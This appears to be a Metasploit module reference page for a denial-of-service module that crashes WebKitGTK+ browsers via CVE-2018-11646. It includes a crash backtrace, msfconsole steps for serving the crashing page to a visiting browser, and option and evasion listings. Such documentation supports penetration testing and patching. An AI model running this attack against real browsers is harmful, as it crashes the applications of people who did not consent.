WebKitGTK+ WebKitFaviconDatabase DoS - Metasploit


This page contains detailed information about how to use the auxiliary/dos/http/webkitplus metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: WebKitGTK+ WebKitFaviconDatabase DoS
Module: auxiliary/dos/http/webkitplus
Source code: modules/auxiliary/dos/http/webkitplus.rb
Disclosure date: 2018-06-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2018-11646

This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful, it could lead to application crash, resulting in denial of service.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/dos/http/webkitplus
msf auxiliary(webkitplus) > exploit

Knowledge Base

Vulnerable Application

This module exploits a vulnerability in WebKitFaviconDatabase when pageURL is unset. If successful, it could lead to application crash, resulting in denial of service.

The webkitFaviconDatabaseSetIconForPageURL and webkitFaviconDatabaseSetIconURLForPageURL functions in UIProcess/API/glib/WebKitFaviconDatabase.cpp in WebKit, as used in WebKitGTK+ through 2.21.3, mishandle an unset pageURL, leading to an application crash.

Related links : * https://bugs.webkit.org/show_bug.cgi?id=186164 * https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html

Backtrace using Fedora 27

#0 WTF::StringImpl::rawHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
#1 WTF::StringImpl::hasHash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
#2 WTF::StringImpl::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
#3 WTF::StringHash::hash
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
#9 WTF::HashMap, WTF::HashTraits >::get
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
#10 webkitFaviconDatabaseSetIconURLForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
#11 webkitFaviconDatabaseSetIconForPageURL
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
#12 webkitWebViewSetIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
#13 WTF::Function::performCallbackWithReturnValue
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
#15 WebKit::WebPageProxy::dataCallback
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
#16 WebKit::WebPageProxy::finishedLoadingIcon
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
#17 IPC::callMemberFunctionImpl::operator()
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
#29 WTF::RunLoop::::_FUN(gpointer)
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
#30 g_main_dispatch
at gmain.c line 3148
#31 g_main_context_dispatch
at gmain.c line 3813
#32 g_main_context_iterate
at gmain.c line 3886
#33 g_main_context_iteration
at gmain.c line 3947
#34 g_application_run
at gapplication.c line 2401
#35 main
at ../src/ephy-main.c line 432

Verification Steps

Start msfconsole
use auxiliary/dos/http/webkitplus
Set SRVHOST
Set SRVPORT
Set URIPATH
run (Server started)

Visit server URL in epiphany web browser which uses webkit.

Scenarios

msf auxiliary(dos/http/webkitplus) > show options 

Module options (auxiliary/dos/http/webkitplus):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  192.168.1.105    yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH  /                no        The URI to use for this exploit (default is random)


Auxiliary action:

   Name       Description
   ----       -----------
   WebServer


msf auxiliary(dos/http/webkitplus) > run
[*] Auxiliary module running as background job 0.
msf auxiliary(dos/http/webkitplus) > 
[*] Using URL: http://192.168.1.105:8080/
[*] Server started.

msf auxiliary(dos/http/webkitplus) > 
[*] Sending response

msf auxiliary(dos/http/webkitplus) >

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Msfconsole Usage

Here is how the dos/http/webkitplus auxiliary module looks in the msfconsole:

msf6 > use auxiliary/dos/http/webkitplus

msf6 auxiliary(dos/http/webkitplus) > show info

       Name: WebKitGTK+ WebKitFaviconDatabase DoS
     Module: auxiliary/dos/http/webkitplus
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-06-03

Provided by:
  Dhiraj Mishra
  Hardik Mehta
  Zubin Devnani
  Manuel Caballero

Available actions:
  Name       Description
  ----       -----------
  WebServer  Serve exploit via web server

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  8080             yes       The local port to listen on.
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                   no        The URI to use for this exploit (default is random)

Description:
  This module exploits a vulnerability in WebKitFaviconDatabase when 
  pageURL is unset. If successful, it could lead to application crash, 
  resulting in denial of service.

References:
  https://www.exploit-db.com/exploits/44842
  https://nvd.nist.gov/vuln/detail/CVE-2018-11646
  https://bugs.webkit.org/show_bug.cgi?id=186164
  https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html

Module Options

This is a complete list of options available in the dos/http/webkitplus auxiliary module:

msf6 auxiliary(dos/http/webkitplus) > show options

Module options (auxiliary/dos/http/webkitplus):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)

Auxiliary action:

   Name       Description
   ----       -----------
   WebServer  Serve exploit via web server

Advanced Options

Here is a complete list of advanced options supported by the dos/http/webkitplus auxiliary module:

msf6 auxiliary(dos/http/webkitplus) > show advanced

Module advanced options (auxiliary/dos/http/webkitplus):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   ListenerComm                     no        The specific communication channel to use for this service
   SSLCipher                        no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression  false            no        Enable SSL/TLS-level compression
   SendRobots      false            no        Return a robots.txt file if asked for one
   URIHOST                          no        Host to use in URI (useful for tunnels)
   URIPORT                          no        Port to use in URI (useful for tunnels)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the dos/http/webkitplus module can do:

msf6 auxiliary(dos/http/webkitplus) > show actions

Auxiliary actions:

   Name       Description
   ----       -----------
   WebServer  Serve exploit via web server

Evasion Options

Here is the full list of possible evasion options supported by the dos/http/webkitplus auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(dos/http/webkitplus) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • Dhiraj Mishra
  • Hardik Mehta
  • Zubin Devnani
  • Manuel Caballero

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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